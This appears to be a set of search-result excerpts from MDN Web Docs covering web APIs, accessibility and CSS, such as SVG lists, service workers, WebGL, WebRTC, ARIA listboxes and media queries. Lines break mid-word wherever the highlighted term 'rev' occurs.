SVGPathSegList - Web APIs
tion_allowed_err is raised when the list cannot be modified. initialize(in svgpathseg newitem) svgpathseg clears all existing current items from the list and re-initializes the list to hold the single item specified by newitem. if the inserted item is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list cannot be modified. getitem(in unsigned long index) ...
...cation_allowed_err is raised when the list cannot be modified. insertitembefore(in svgpathseg newitem, in unsigned long index) svgpathseg inserts a new item into the list at the specified position. the first item is number 0. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. if the item is already in this list, note that the index of the item to insert before is before the removal of the item. if the index is equal to 0, then the new item is inserted at the front of the list. if the index is greater than or equal to numberofitems, then the new item is appen...
... a domexception with code no_modification_allowed_err is raised when the list cannot be modified. replaceitem(in svgpathseg newitem, in unsigned long index) svgpathseg replaces an existing item in the list with a new item. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. if the item is already in this list, note that the index of the item to replace is before the removal of the item. exceptions: a domexception with code no_modification_allowed_err is raised when the list cannot be modified. a domexception with code ind...
...d when the list cannot be modified. a domexception with code index_size_err is raised if index is greater than or equal to numberofitems. appenditem(in svgpathseg newitem) svgpathseg inserts a new item at the end of the list. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. exceptions: a domexception with code no_modification_allowed_err is raised when the list cannot be modified. browser compatibility desktop ...
SVGPointList - Web APIs
en the list corresponds to a read only attribute or when the object itself is read only. initialize(in svgpoint newitem) svgpoint clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter. if the inserted item is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. ge...
...wed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. insertitembefore(in svgpoint newitem, in unsigned long index) svgpoint inserts a new item into the list at the specified position. the first item is number 0. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. if the item is already in this list, note that the index of the item to insert before is before the removal of the item. if the index is equal to 0, then the new item is inserted at the front of the list. if the index is greater than or equal to numberofitems, then the new item is appended to the e...
...ception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. replaceitem(in svgpoint newitem, in unsigned long index) svgpoint replaces an existing item in the list with a new item. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. if the item is already in this list, note that the index of the item to replace is before the removal of the item. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself i...
... read only attribute or when the object itself is read only. a domexception with code index_size_err is raised if the index number is greater than or equal to numberofitems. appenditem(in svgpoint newitem) svgpoint inserts a new item at the end of the list. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. browser compatibility ...
SVGStringList - Web APIs
ode no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. initialize(in domstring newitem) domstring clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter. if the inserted item is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. getitem(in unsigned long index) domstring ...
... domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. insertitembefore(in domstring newitem, in unsigned long index) domstring inserts a new item into the list at the specified position. the first item is number 0. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. if the item is already in this list, note that the index of the item to insert before is before the removal of the item. if the index is equal to 0, then the new item is inserted at the front of the list. if the index is greater than or equal to numberofitems, then the new item is appended to the e...
...he list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. replaceitem(in domstring newitem, in unsigned long index) domstring replaces an existing item in the list with a new item. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. if the item is already in this list, note that the index of the item to replace is before the removal of the item. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. ...
...owed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. a domexception with code index_size_err is raised if the index number is greater than or equal to numberofitems. appenditem(in domstring newitem) domstring inserts a new item at the end of the list. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. ...
Using Service Workers - Web APIs
ith for years is loss of connectivity. the best web app in the world will provide a terrible user experience if you can’t download it. there have been various attempts to create technologies to solve this problem, and some of the issues have been solved. but the overriding problem is that there still isn’t a good overall control mechanism for asset caching and custom network requests. the p
revious attempt — appcache — seemed to be a good idea because it allowed you to specify assets to cache really easily. however, it made many assumptions about what you were trying to do and then broke horribly when your app didn’t follow those assumptions exactly. read jake archibald's (unfortunately-titled but well-written) application cache is a douchebag for more details. note: as of firef...
... caching site assets). this is really the same kind of procedure as installing a native or firefox os app — making everything available for use offline. when the oninstall handler completes, the service worker is considered installed. next is activation. when the service worker is installed, it then receives an activate event. the primary use of onactivate is for cleanup of resources used in p
revious versions of a service worker script. the service worker will now control pages, but only those opened after the register() is successful. i.e. a document starts life with or without a service worker and maintains that for its lifetime. so documents will have to be reloaded to actually be controlled. the below graphic shows a summary of the available service worker events: promises pr...
... return response; }); }).catch(() => { return caches.match('./sw-test/gallery/mylittlevader.jpg'); }) ); }); we have opted for this fallback image because the only updates that are likely to fail are new images, as everything else is depended on for installation in the install event listener we saw earlier. updating your service worker if your service worker has p
reviously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated. it is only activated when there are no longer any pages loaded that are still using the old service worker. as soon as there are no more such pages still loaded, the new service worker activates. you’ll want to update your insta...
...ventlistener('install', (event) => { event.waituntil( caches.open('v2').then((cache) => { return cache.addall([ './sw-test/', './sw-test/index.html', './sw-test/style.css', './sw-test/app.js', './sw-test/image-list.js', … // include other new resources for the new version... ]); }) ); }); while this happens, the p
revious version is still responsible for fetches. the new version is installing in the background. we are calling the new cache v2, so the p
revious v1 cache isn't disturbed. when no pages are using the current version, the new worker activates and becomes responsible for fetches. deleting old caches you also get an activate event. this is a generally used to do stuff that would have broken the pre...
TreeWalker - Web APIs
the found child. it also moves the current node to this child. if no such child exists, returns null and the current node is not changed. treewalker.lastchild() moves the current node to the last visible child of the current node, and returns the found child. it also moves the current node to this child. if no such child exists, null is returned and the current node is not changed. ...
...o this child. if no such child exists, returns null and the current node is not changed. treewalker.lastchild() moves the current node to the last visible child of the current node, and returns the found child. it also moves the current node to this child. if no such child exists, null is returned and the current node is not changed. ...
...it also moves the current node to this one. if no such node exists, or if it is before that the root node defined at the object construction, returns null and the current node is not changed. ...
...it also moves the current node to this one. if no such node exists, or if it is before that the root node defined at the object construction, returns null and the current node is not changed. ...
WebGLRenderingContext.texImage2D() - Web APIs
a uint16array must be used if type is either gl.unsigned_short...
... a uint16array must be used if type is either gl.unsigned_short_5_6_5, gl.unsigned_short_4_4_4_4, g...
... a uint16array must be used if type is either gl.unsigned_short_5_6_5, gl.unsigned_short_4_4_4_4, gl.unsigned_short_5_5_5_1, gl.uns...
... a uint16array must be used if type is either gl.unsigned_short_5_6_5, gl.unsigned_short_4_4_4_4, gl.unsigned_short_5_5_5_1, gl.unsigned_short or ext.half_float_oes. a uint32array must be us...
Matrix math for the web - Web APIs
]; } function rotatearoundzaxis(a) { return [ cos(a), -sin(a), 0, 0, sin(a), cos(a), 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 ]; } view on jsfiddle matrix composition the real power of matrices comes from matrix composition. when matrices of a certain class are multiplied together they preserve the history of the transformations and are
reversible. this means that if a translation, rotation, and scale matrix are all combined together, when the order of the matrices is
reversed and re-applied then the original points are returned. the order that matrices are multiplied in matters. when multiplying numbers, a * b = c, and b * a = c are both true. for example 3 * 4 = 12, and 4 * 3 = 12. in math these numbers would be described as comm...
...er that matrices are multiplied in matters. when multiplying numbers, a * b = c, and b * a = c are both true. for example 3 * 4 = 12, and 4 * 3 = 12. in math these numbers would be described as commutative. matrices are not guaranteed to be the same if the order is switched, so matrices are non-commutative. another mind-bender is that matrix multiplication in webgl and css needs to happen in the
reverse order that the operations intuitively happen. for instance, to scale something down by 80%, move it down 200 pixels, and then rotate about the origin 90 degrees would look something like the following in pseudo-code. transformation = rotate * translate * scale composing multiple transformations the function that we will be using to compose our matrices is multiplyarrayofmatrices(), whic...
...anslate() functions, which return matrices as defined above. let transformmatrix = mdn.multiplyarrayofmatrices([ rotatearoundzaxis(math.pi * 0.5), // step 3: rotate around 90 degrees translate(0, 200, 0), // step 2: move down 100 pixels scale(0.8, 0.8, 0.8), // step 1: scale down ]); view on jsfiddle finally, a fun step to show how matrices work is to
reverse the steps to bring the matrix back to the original identity matrix. let transformmatrix = mdn.multiplyarrayofmatrices([ scale(1.25, 1.25, 1.25), // step 6: scale back up translate(0, -200, 0), // step 5: move back up rotatearoundzaxis(-math.pi * 0.5), // step 4: rotate back rotatearoundzaxis(math.pi * 0.5), // step 3: rotate around 90 degrees translat...
...ant matrices are important because they comprise a small set of numbers that can describe a wide range of transformations in space. they can easily be shared around in programs. different coordinate spaces can be described with matrices, and some matrix multiplication will move one set of data from one coordinate space to another coordinate space. matrices effectively remember every part of the p
revious transforms that were used to generate them. for uses in webgl, the graphics card is particularly good at multiplying a large number of points in space by matrices. different operations like positioning points, calculating lighting, and posing animated characters all rely on this fundamental tool. ...
Lighting in WebGL - Web APIs
it just runs two functions you supply — a vertex shader and a fragment shader — and expects you to write creative functions to get the results you want. in other words, if you want lighting you have to calculate it yourself. fortunately, it's not all that hard to do, and this article will cover some of the basics. this example uses the glmatrix library to perform its matrix and vertex math. you'll need to include it if you create your own project based on this code. our sample loads a copy from a cdn in our html's <head>. ...
...ght sources usually work. a light bulb emits light in all directions, for example. for our purposes, we're going to simplify the lighting model by only considering simple directional and ambient lighting; we won't have any specular highlights or point light sources in this scene. instead, we'll have our ambient lighting plus a single directional light source, aimed at the rotating cube from the p
revious demo. once you drop out the concept of point sources and specular lighting, there are two pieces of information we'll need in order to implement our directional lighting: we need to associate a surface normal with each vertex. this is a vector that's perpendicular to the face at that vertex. we need to know the direction in which the light is traveling; this is defined by the direction v...
... the only thing left is to look up the location of the avertexnormal attribute and the unormalmatrix uniform. const programinfo = { program: shaderprogram, attriblocations: { vertexposition...
...te code | open this demo on a new page exercises for the reader obviously, this is a simple example, implementing basic per-vertex lighting. for more advanced graphics, you'll want to implement per-pixel lighting, but this will get you headed in the right direction. you might also try experimenting with the direction of the light source, the colors of the light sources, and so forth. « p
reviousnext » ...
Using textures in WebGL - Web APIs
this example uses the glmatrix library to perform its matrix and vertex math. you'll need to include it if you create your own project based on this code. our sample loads a copy from a cdn in our html's <head>. loading textures the first thing to do is add code to load the textures. in our case, we'll be using a single texture, mapped onto all six sides of our rotating cube, but the same technique can be used for any number of textures. note: it's important to note that the loading of textures follows cross-domain rules; that is, you can only load textures from sites for which your content has cors approval. ...
...to cover a brick wall. mipmapping and uv repeating can be disabled with texparameteri(). this will allow non-power-of-two (npot) textures at the expense of mipmapping, uv wrapping, uv tiling, and your control over how the device will handle your texture. // gl.nearest is also allowed, instead of gl.linear, as neither mipmap. gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); // p
revents s-coordinate wrapping (repeating). gl.texparameteri(gl.texture_2d, gl.texture_wrap_s, gl.clamp_to_edge); // p
revents t-coordinate wrapping (repeating). gl.texparameteri(gl.texture_2d, gl.texture_wrap_t, gl.clamp_to_edge); again, with these parameters, compatible webgl devices will automatically accept any resolution for that texture (up to their maximum dimensions). without performing the ab...
... function within our main() function. this can be added after the initbuffers(gl) call. // load texture const texture = loadtexture(gl, 'cubetexture.png'); mapping the texture onto the faces at this point, the texture is loaded and ready to use. but before we can use it, we need to establish the mapping of the texture coordinates to the vertices of the faces of our cube. this replaces all the p
reviously existing code for configuring colors for each of the cube's faces in initbuffers(). const texturecoordbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, texturecoordbuffer); const texturecoordinates = [ // front 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // back 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // top 0.0, 0.0, ...
...n image is drawn on it. ...
WebRTC API - Web APIs
g state, indicating that it will be closed soon. you can detect the completion of the closing process by watching for the close event. connectionstatechange the connection's state, which can be accessed in connectionstate, has changed. datachannel a new rtcdatachannel is available following the remote peer opening a new data channel. this event's type is rtcdatachannelevent. error an rtcerro
revent indicating that an error occurred on the data channel. error an rtcerro
revent indicating that an error occurred on the rtcdtlstransport. this error will be either dtls-failure or fingerprint-failure. gatheringstatechange the rtcicetransport's gathering state has changed. icecandidate an rtcpeerconnectioniceevent which is sent whenever the local device has identified a new ice candidate w...
...he rtcdtlstransport. this error will be either dtls-failure or fingerprint-failure. gatheringstatechange the rtcicetransport's gathering state has changed. icecandidate an rtcpeerconnectioniceevent which is sent whenever the local device has identified a new ice candidate which needs to be added to the local peer by calling setlocaldescription(). icecandidateerror an rtcpeerconnectioniceerro
revent indicating that an error has occurred while gathering ice candidates. iceconnectionstatechange sent to an rtcpeerconnection when its ice connection's state—found in the iceconnectionstate property—changes. icegatheringstatechange sent to an rtcpeerconnection when its ice gathering state—found in the icegatheringstate property—changes. message a message has been received on the da...
...f the current connection. if no peer has yet been set and verified this interface returns null. once set it can't be changed. rtcidentityproviderregistrar registers an identity provider (idp). rtcidentityevent represents an identity assertion generated by an identity provider (idp). this is usually for an rtcpeerconnection. the only event sent with this type is identityresult. rtcidentityerro
revent represents an error associated with the identity provider (idp). this is usually for an rtcpeerconnection. two events are sent with this type: idpassertionerror and idpvalidationerror. rtccertificate represents a certificate that an rtcpeerconnection uses to authenticate. telephony these interfaces and events are related to interactivity with public-switched telephone networks (ptsns). t...
...on pattern perfect negotiation is a design pattern which is recommended for your signaling process to follow, which provides transparency in negotiation while allowing both sides to be either the offerer or the answerer, without significant coding needed to differentiate the two. signaling and two-way video calling a tutorial and example which turns a websocket-based chat system created for a p
revious example and adds support for opening video calls among participants. the chat server's websocket connection is used for webrtc signaling. codecs used by webrtc a guide to the codecs which webrtc requires browsers to support as well as the optional ones supported by various popular browsers. included is a guide to help you choose the best codecs for your needs. using webrtc data channels t...
Rendering and the WebXR frame animation callback - Web APIs
rer itself runs longer than that amount of time, you can cause not just the frame to get dropped, but that time to be wasted entirely, blocking other code from getting to run at all for that frame. not only that, but if your rendering crosses the vertical refresh boundary, you can wind up with a tearing effect. tearing occurs when the the display hardware starts the next refresh cycle while the p
revious frame is still being drawn to the screen. as a result, you wind up with the visual effect of the top part of the screen showing the new frame, while the bottom part of the frame shows some combination of the p
revious frame and possibly even the frame before that one. your mission, then, is to keep your code tight and lightweight enough that you don't overrrun the time available to you or oth...
...e. this ensures we get into the queue right away, allowing the rest of the time spent in this iteration of the mydrawframe() function to count toward the timing of drawing the next frame. we then get the xrviewerpose object that describes the viewer's pose—their position and orientation—using the frame's getviewerpose() method, passing in the viewer's reference space from the viewerrefspace p
reviously obtained while setting up the webxr session. with the viewer's pose in hand, we can then begin to render the frame. the first step is to obtain access to the framebuffer into which the webxr device wants the frame drawn; this is done by getting the target webgl layer from the session's renderstate object's baselayer property, then getting the framebuffer from that xrwebgllayer object. we t...
...ar(), passing in a bit mask in which both color_buffer_bit and depth_buffer_bit are set. since webxr uses a single framebuffer for every view, with viewports upon the view being used to separate each eye's viewpoint within the framebuffer, we only need to clear a single framebuffer rather than cleaning it for each eye (or other viewpoints, if any) individually. next, the time elapsed since the p
revious frame was rendered is calculated by subtracting from the current time as specified by the currentframetime parameter the saved time at which the last frame was rendered, lastframetime. the result is a domhighrestimestamp value indicating the number of milliseconds that have elapsed since the last frame was rendered. we can use this value while drawing the scene to ensure we move everything th...
...s elapsed since the last frame was rendered: let lastframetime = 0; function drawframe(time, frame) { /* ... schedule next frame, prepare the buffer, etc ... */ const deltatime = (time - lastframetime) * 0.001; lastframetime = time; for (let view of pose.views) { /* render each view */ } } this maintains a global (or an object property) called lastframetime which contains the p
revious frame's time of rendering. in this case, since the time values are stored in milliseconds, we multiply by 0.001 to convert the time into seconds. in some cases, this saves time later. in other situations, you need the time in milliseconds, so you wouldn't need to change anything. with the elapsed time in hand, your rendering code has the means to compute just how much every moving object has...
WindowEventHandlers.onbeforeunload - Web APIs
over, some don't display them at all. syntax window.addeventlistener("beforeunload", function(event) { ... }); window.onbeforeunload = function(event) { ... }; typically, it is better to use window.addeventlistener() and the beforeunload event, instead of onbeforeunload. example this example prompts the user before unloading. ...
...; typically, it is better to use window.addeventlistener() and the beforeunload event, instead of onbeforeunload. example this example prompts the user before unloading. the html specification states that authors should use the event.p
reventdefault() method instead of using event.returnvalue to prompt the user. ...
...o use window.addeventlistener() and the beforeunload event, instead of onbeforeunload. example this example prompts the user before unloading. the html specification states that authors should use the event.p
reventdefault() method instead of using event.returnvalue to prompt the user. ...
...g the returnvalue property of the event window.addeventlistener('beforeunload', function (e) { // the absence of a returnvalue property on the event will guarantee the browser unload happens delete e['returnvalue']; }); notes when your page uses javascript to render content, the javascript may stop when leaving and then navigating back to the page. you can bind to window.onbeforeunload to p
revent the browser from fully caching the page. if you do so, javascript in the page will be triggered on the subsequent return visit and update the content as desired. specifications the event was originally introduced by microsoft in internet explorer 4 and standardized in the html5 specification. specification status comment html living standardthe definition of 'onb...
ARIA: listbox role - Accessibility
x receives focus, focus is set on the first option and there is no automatic change in the selection state. if one or more options are selected before the listbox receives focus, focus is set on the first option in the list that is selected. down arrow: moves focus to the next option. optionally, in a single-select listbox, selection may also move with focus. up arrow: moves focus to the p
revious option. optionally, in a single-select listbox, selection may also move with focus. home (optional): moves focus to first option. optionally, in a single-select listbox, selection may also move with focus. supporting this key is strongly recommended for lists with more than five options. end (optional): moves focus to last option. optionally, in a single-select listbox, selection may also m...
...ys to be held while navigating in order to avoid losing selection states. recommended selection model -- holding modifier keys is not necessary: space: changes the selection state of the focused option . shift + down arrow (optional): moves focus to and toggles the selected state of the next option. shift + up arrow (optional): moves focus to and toggles the selected state of the p
revious option. shift + space (optional): selects contiguous items from the most recently selected item to the focused item. control + shift + home (optional): selects the focused option and all options up to the first option. optionally, moves focus to the first option. control + shift + end (optional): selects the focused option and all options down to the last option. optionally, moves fo...
...ocused option and all options down to the last option. optionally, moves focus to the last option. control + a (optional): selects all options in the list. optionally, if all options are selected, it may also unselect all options. required javascript features selecting an option in a single select listbox when the user selects an option, the following must occur: deselect the p
reviously selected option, setting the aria-selected to false, or removing the attribute altogether, changing the appearance of the newly unselected option to appear not selected. select the newly selected option, setting aria-selected="true" on the option and changing the appearance of the newly selected option to appear selected. update the aria-activedescendant value on the listbox to the id of ...
... collapsible dropdown listbox example: single-select collapsible listbox that expands when activated, similar to html select with the attribute size="1". example listboxes with rearrangeable options: examples of both single-select and multi-select listboxes with accompanying toolbars where options can be added, moved, ...
Keyboard-navigable JavaScript widgets - Accessibility
iques for accomplishing this: roving tabindex: programmatically moving focus aria-activedescendant: managing a 'virtual' focus technique 1: roving tabindex setting the tabindex of the focused element to "0" ensures that if the user tabs away from the widget and then returns, the selected item within the group retains focus. note that updating the tabindex to "0" requires also updating the p
reviously selected item to tabindex="-1". this technique involves programmatically moving focus in response to key events and updating the tabindex to reflect the currently focused item. to do this: bind a key down handler to each element in the group, and when an arrow key is used to move to another element: programmatically apply focus to the new element, update the tabindex of the focused ele...
...chnique involves programmatically moving focus in response to key events and updating the tabindex to reflect the currently focused item. to do this: bind a key down handler to each element in the group, and when an arrow key is used to move to another element: programmatically apply focus to the new element, update the tabindex of the focused element to "0", and update the tabindex of the p
reviously focused element to "-1". here's an example of a wai-aria tree view using this technique. tips use element.focus() to set focus do not use createevent(), initevent() and dispatchevent() to send focus to an element. dom focus events are considered informational only: generated by the system after something is focused, but not actually used to set focus. use element.focus() instead. use ...
...n changing the background color via something like this.style.backgroundcolor = "gray"; or add a dotted border via this.style.border = "1px dotted invert". in the dotted border case you will need to make sure those elements have an invisible 1px border to start with, so that the element doesn't grow when the border style is applied (borders take up space, and ie doesn't implement css outlines). p
revent used key events from performing browser functions if your widget handles a key event, p
revent the browser from also handling it (for example, scrolling in response to the arrow keys) by using your event handler's return code. if your event handler returns false, the event will not be propagated beyond your handler. for example: <span tabindex="-1" onkeydown="return handlekeydown();"> if ha...
...your widget handles a key event, p
revent the browser from also handling it (for example, scrolling in response to the arrow keys) by using your event handler's return code. if your event handler returns false, the event will not be propagated beyond your handler. for example: <span tabindex="-1" onkeydown="return handlekeydown();"> if handlekeydown() returns false, the event will be consumed, p
reventing the browser from performing any action based on the keystroke. don't rely on consistent behavior for key repeat, at this point unfortunately onkeydown may or may not repeat depending on what browser and os you're running on. ...
Web accessibility for seizures and physical reactions - Accessibility
overview seizures seizures caused by light are known as photosensitive epilepsy. content that flickers, flashes, or blinks can trigger photosensitive epilepsy. web technologies that use video, animated gifs, animated pngs, animated svgs, canvas, and css or javascript animations are all capable of content that can induce seizures or other incapacitating physical reactions. ...
... not." in addition to seizures brought about by photosensitivity, listening to certain pieces of music can also trigger what are called musicogenic seizures, although these types of seizures seem to be much more rare. for a great introduction on the topic of musicogenic seizures, visit epilepsy ontario's web page on musicogenic seizures. seizures and epilepsy are not the same. in its article, "a
revised definition of epilepsy" the epilepsy foundation notes that…"a seizure is an event and epilepsy is the disease involving recurrent unprovoked seizures." according to the epilepsy foundation's page "how serious are seizures?" , "sudden unexpected death in epilepsy (sudep) is likely the most common disease-related cause of death in with epilepsy. it is not frequent but it is a very real proble...
...y away from refresh rates under 70 hz, and use a rate not divisible by 10." eric bailey, of css-tricks, found an innovative use the update feature which, used in combination with animation-duration or transition-duration, to conclude at a rate that is imperceptible to the human eye. in other words, eric's techniques address the refresh-rate problem. ...
...uman eye. in other words, eric's techniques address the refresh-rate problem. the css below is from the article, css-tricks
revisiting prefers-reduced-motion, the reduced motion media query. @media screen and (prefers-reduced-motion: reduce), (update: slow) { * { animation-duration: 0.001ms !important; animation-iteration-count: 1 !important; /* hat tip nick/cssremedy (https://css-tricks.com/
revisiting-prefers-reduced-motion-the-reduced-motion-media-query/#comment-1700170) */ transition-duration: 0.001ms !important; } } from w3.org's page on media queries 4: the update media feature is used to query the ability of the output device to modify the appearance of content once it has been rendered. it has the values of "none", "slow", and "fast". developmental & experimental features ...
Using media queries - CSS: Cascading Style Sheets
e. nevertheless, its contents will not apply unless and until the result of the query changes to true. media types media types describe the general category of a device. except when using the not or only logical operators, the media type is optional and the all type will be implied. all suitable for all devices. print intended for paged material and documents viewed on a screen in print p
review mode. (please see paged media for information about formatting issues that are specific to these formats.) screen intended primarily for screens. speech intended for speech synthesizers. deprecated media types: css2.1 and media queries 3 defined several additional media types (tty, tv, projection, handheld, braille, embossed, and aural), but they were deprecated in media queries 4 and sh...
...nt in a comma-separated list of queries, it will only negate the specific query to which it is applied. if you use the not operator, you must also specify a media type. note: in level 3, the not keyword can't be used to negate an individual media feature expression, only an entire media query. only the only operator is used to apply a style only if an entire query matches, and is useful for p
reventing older browsers from applying selected styles. when not using only, older browsers would interpret the query screen and (max-width: 500px) simply as screen, ignoring the remainder of the query, and applying its styles on all screens. if you use the only operator, you must also specify a media type. , (comma) commas are used to combine multiple media queries into a single rule. each query i...
...les, please see the reference page for each specific feature. creating complex media queries sometimes you may want to create a media query that depends on multiple conditions. this is where the logical operators come in: not, and, and only. furthermore, you can combine multiple media queries into a comma-separated list; this allows you to apply the same styles in different situations. in the p
revious example, we've already seen the and operator used to group a media type with a media feature. the and operator can also combine multiple media features into a single media query. the not operator, meanwhile, negates a media query, basically
reversing its normal meaning. the only operator p
revents older browsers from applying the styles. note: in most cases, the all media type is used by def...
...s evaluated like this: @media not (all and (monochrome)) { ... } ... rather than like this: @media (not all) and (monochrome) { ... } as another example, the following media query: @media not screen and (color), print and (color) { ... } ... is evaluated like this: @media (not (screen and (color))), print and (color) { ... } improving compatibility with older browsers the only keyword p
revents older browsers that do not support media queries with media features from applying the given styles. it has no effect on modern browsers. @media only screen and (color) { ... } syntax improvements in level 4 the media queries level 4 specification includes some syntax improvements to make media queries using features that have a "range" type, for example width or height, less verbose. lev...
Cubic Bezier Generator - CSS: Cascading Style Sheets
ext to use the canvas for drawing var ctx = canvas.getcontext('2d'); scaling = math.min(canvas.height - rulers - margin, canvas.width - rulers - margin); canvas.onmousedown = mousedown; canvas.onmouseup = mouseup; } else { alert('you need safari or firefox 1.5+ to see this demo.'); } } function cx(x) { return x * scaling + rulers; } function
reversex(x) { return (x - rulers) / scaling; } function lx(x) { //used when drawing vertical lines to p
revent subpixel blur var result = cx(x); return math.round(result) == result ? result + 0.5 : result; } function cy(y) { return (1 - y) * scaling + margin; } function
reversey(y) { return (margin - y) / scaling + 1; } function ly(y) { // used when drawing horizontal ...
... return (x - rulers) / scaling; } function lx(x) { //used when drawing vertical lines to p
revent subpixel blur var result = cx(x); return math.round(result) == result ? result + 0.5 : result; } function cy(y) { return (1 - y) * scaling + margin; } function
reversey(y) { return (margin - y) / scaling + 1; } function ly(y) { // used when drawing horizontal lines to p
revent subpixel blur var result = cy(y); return math.round(result) == result ? result + 0.5 : result; } function drawbeziercurve(x1, y1, x2, y2) { // get the canvas element using the dom var canvas = document.getelementbyid('bezier'); // make sure we don't execute when canvas isn't supported if (canvas.getcontext) { // use getcontext to use the canvas for drawing ...
...m != 0) { var canvas = document.getelementbyid('bezier'); var x = e.pagex - canvas.offsetleft; var y = e.pagey - canvas.offsettop; var output = document.getelementbyid('output'); output.value = "drag!"; if (dragsm == 1) { var x1 = document.getelementbyid('x1'); var y1 = document.getelementbyid('y1'); x1.value =
reversex(x); x1.value = math.round(x1.value * 10000) / 10000; y1.value =
reversey(y); y1.value = math.round(y1.value * 10000) / 10000; if (x1.value < 0) { x1.value = 0; } if (x1.value > 1) { x1.value = 1; } } else if (dragsm == 2) { var x2 = document.getelementbyid('x2'); var y2 = document.getelementbyid('y2')...
...value = math.round(x1.value * 10000) / 10000; y1.value =
reversey(y); y1.value = math.round(y1.value * 10000) / 10000; if (x1.value < 0) { x1.value = 0; } if (x1.value > 1) { x1.value = 1; } } else if (dragsm == 2) { var x2 = document.getelementbyid('x2'); var y2 = document.getelementbyid('y2'); x2.value =
reversex(x); x2.value = math.round(x2.value * 10000) / 10000; y2.value =
reversey(y); y2.value = math.round(y2.value * 10000) / 10000; if (x2.value < 0) { x2.value = 0; } if (x2.value > 1) { x2.value = 1; } } updatecanvas(); } } initcanvas(); updatecanvas(); this is a sample tool; it lets you edit bezier curve...
animation - CSS: Cascading Style Sheets
ode, and animation-play-state. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...rid"> <div class="col"> <div class="note"> given the following animation: <pre>@keyframes slidein { from { transform: scalex(0); } to { transform: scalex(1); } }</pre> </div> <div class="row"> <div class="cell"> <button class="play" title="play"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s ease-in 1s 2
reverse both paused slidein;</div> <div class="animation a1"></div> </div> </div> <div class="row"> <div class="cell"> <button class="pause" title="pause"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s linear 1s slidein;</div> <div class="animation a2"></div> </div> </div> <div class="row"> ...
...x; margin: .5em; padding: 0; background-color: #fff; overflow: hidden; text-align: left; } .flx { flex: 1 0; } .note { background: #fff3d4; padding: 1em; margin: .5em; font: .8em sans-serif; text-align: left; flex: none; } .overlay { padding: .5em; } @keyframes slidein { from { transform: scalex(0); } to { transform: scalex(1); } } .a1 { animation: 3s ease-in 1s 2
reverse both paused slidein; } .a2 { animation: 3s linear 1s slidein; } .a3 { animation: 3s slidein; } .animation { background: #3f87a6; width: 100%; height: calc(100% - 1.5em); transform-origin: left center; } window.addeventlistener('load', function () { var animation = array.from(document.queryselectorall('.animation')); var button = array.from(document.queryselectorall('button'))...
...ngle-animation> = <time> | <timing-function> | <time> | <single-animation-iteration-count> | <single-animation-direction> | <single-animation-fill-mode> | <single-animation-play-state> | [ none | <keyframes-name> ]where <timing-function> = linear | <cubic-bezier-timing-function> | <step-timing-function><single-animation-iteration-count> = infinite | <number><single-animation-direction> = normal |
reverse | alternate | alternate-
reverse<single-animation-fill-mode> = none | forwards | backwards | both<single-animation-play-state> = running | paused<keyframes-name> = <custom-ident> | <string>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinato...
Video player styling basics - Developer guides
in the p
revious cross browser video player article we described how to build a cross-browser html5 video player using the media and fullscreen apis. this follow-up article looks at how to style this custom player, including making it responsive. the example in action you can find the code for the updated, styled example on github, and view it live. preliminary modifications from the original example this section summarises the modifications that were made to the original video player example to make the styling task easier, before the bulk of the work was started. html markup there are a few changes that were made to the html markup shown in the p
revious article. the custom video controls and <progress> element are now contained within <div> elements, rather than residing in...
...this has now been changed to use a data-state attribute, which this code already uses to handle its fullscreen implementation. this "data-state" idea is also used for setting the current state of buttons within the video control set, which allows specific state styling. javascript as mentioned ...
